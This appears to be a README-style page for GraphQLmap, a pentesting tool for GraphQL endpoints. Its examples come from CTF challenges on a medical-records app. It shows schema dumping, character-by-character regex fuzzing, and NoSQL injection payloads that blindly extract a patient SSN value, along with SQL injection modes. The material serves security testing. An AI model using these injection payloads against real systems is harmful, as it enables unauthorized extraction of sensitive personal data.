GraphQLmap - A Scripting Engine To Interact With A Graphql Endpoint For Pentesting Purposes

GraphQLmap is a scripting engine to interact with a graphql endpoint for pentesting purposes.

Install

$ git clone https://github.com/swisskyrepo/GraphQLmap  
$ python graphqlmap.py                                                                
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  / ____|               | |    / __ \| |                             
 | |  __ _ __ __ _ _ __ | |__ | |  | | |     _ __ ___   __ _ _ __    
 | | |_ | '__/ _` | '_ \| '_ \| |  | | |    | '_ ` _ \ / _` | '_ \   
 | |__| | | | (_| | |_) | | | | |__| | |____| | | | | | (_| | |_) |  
  \_____|_|  \__,_| .__/|_| |_|\___\_\______|_| |_| |_|\__,_| .__/   
                  | |                                       | |      
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                                         Author:Swissky Version:1.0  
usage: graphqlmap.py [-h] [-u URL] [-v [VERBOSITY]] [--method [METHOD]] [--headers [HEADERS]]  
  
optional arguments:  
  -h, --help          show this help message and exit  
  -u    URL              URL to query : example.com/graphql?query={}  
  -v [VERBOSITY]      Enable verbosity  
  --method [METHOD]   HTTP Method to use interact with /graphql endpoint  
  --headers [HEADERS] HTTP Headers sent to /graphql endpoint  
  --json              Send requests using POST and JSON

Features and examples

Examples are based on several CTF challenges from HIP2019.

Connect to a graphql endpoint

python3 graphqlmap.py -u https://yourhostname.com/graphql -v --method POST --headers '{"Authorization" : "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZXh0Ijoibm8gc2VjcmV0cyBoZXJlID1QIn0.JqqdOesC-R4LtOS9H0y7bIq-M8AGYjK92x4K3hcBA6o"}'  

Dump a GraphQL schema

Use dump_new to dump the GraphQL schema, this function will automaticly populate the “autocomplete” with the found fields.



Live Example

GraphQLmap > dump_new                       
============= [SCHEMA] ===============  
e.g: name[Type]: arg (Type!)                     
                                                                                                 
Query                                            
        doctor[]: email (String!),                                                               
        doctors[Doctor]:                                                                         
        patients[Patient]:                                                                       
        patient[]: id (ID!),                     
        allrendezvous[Rendezvous]:                                                               
        rendezvous[]: id (ID!),                                                                  
Doctor                                           
        id[ID]:                                                                                     
        firstName[String]:                       
        lastName[String]:                                                                        
        specialty[String]:                       
        patients[None]:   
        rendezvous[None]:   
        email[String]:   
        password[String]:   
[...]

Interact with a GraphQL endpoint

Write a GraphQL request and execute it.

GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}}  
{  
    "data": {  
        "doctors": [  
            {  
                "firstName": "Admin",  
                "id": "5d089c51dcab2d0032fdd08d",  
                "lastName": "Admin"  
            }  
        ]  
    }  
}

GraphQL field fuzzing

Use GRAPHQL_INCREMENT and GRAPHQL_CHARSET to fuzz a parameter.



Live Example

GraphQLmap > {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"AdmiGRAPHQL_CHARSET\"} }"){firstName lastName id}}     
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi!\"} }"){firstName lastName id}}     
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi$\"} }"){firstName lastName id}}     
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi%\"} }"){firstName lastName id}}     
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi(\"} }"){firstName lastName id}}     
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi)\"} }"){firstName lastName id}}     
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi*\"} }"){firstName lastName id}}     
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi+\"} }"){firstName lastName id}}        
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi,\"} }"){firstName lastName id}}     
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi-\"} }"){firstName lastName id}}     
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi.\"} }"){firstName lastName id}}     
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi/\"} }"){firstName lastName id}}     
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi0\"} }"){firstName lastName id}}     
[+] Query: (45) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi1\"} }"){firstName lastName id}}       
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admi?\"} }"){firstName lastName id}}  
[+] Query: (206) {doctors(options: 1, search: "{ \"lastName\": { \"$regex\": \"Admin\"} }"){firstName lastName id}}

NoSQLi injection

Use BLIND_PLACEHOLDER inside the query for the nosqli function.



Live Example

GraphQLmap > nosqli  
Query > {doctors(options: "{\"\"patients.ssn\":1}", search: "{ \"patients.ssn\": { \"$regex\": \"^BLIND_PLACEHOLDER\"}, \"lastName\":\"Admin\" , \"firstName\":\"Admin\" }"){id, firstName}}  
Check > 5d089c51dcab2d0032fdd08d  
Charset > 0123456789abcdef-  
[+] Data found: 4f537c0a-7da6-4acc-81e1-8c33c02ef3b  
GraphQLmap >

SQL injection

GraphQLmap > postgresqli  
GraphQLmap > mysqli  
GraphQLmap > mssqli

TODO

• Docker with vulnerable GraphQL

• Unit tests

• Handle node

  {
  user {
  edges {
  node {
  username
  }
  }
  }
  }

Download GraphQLmap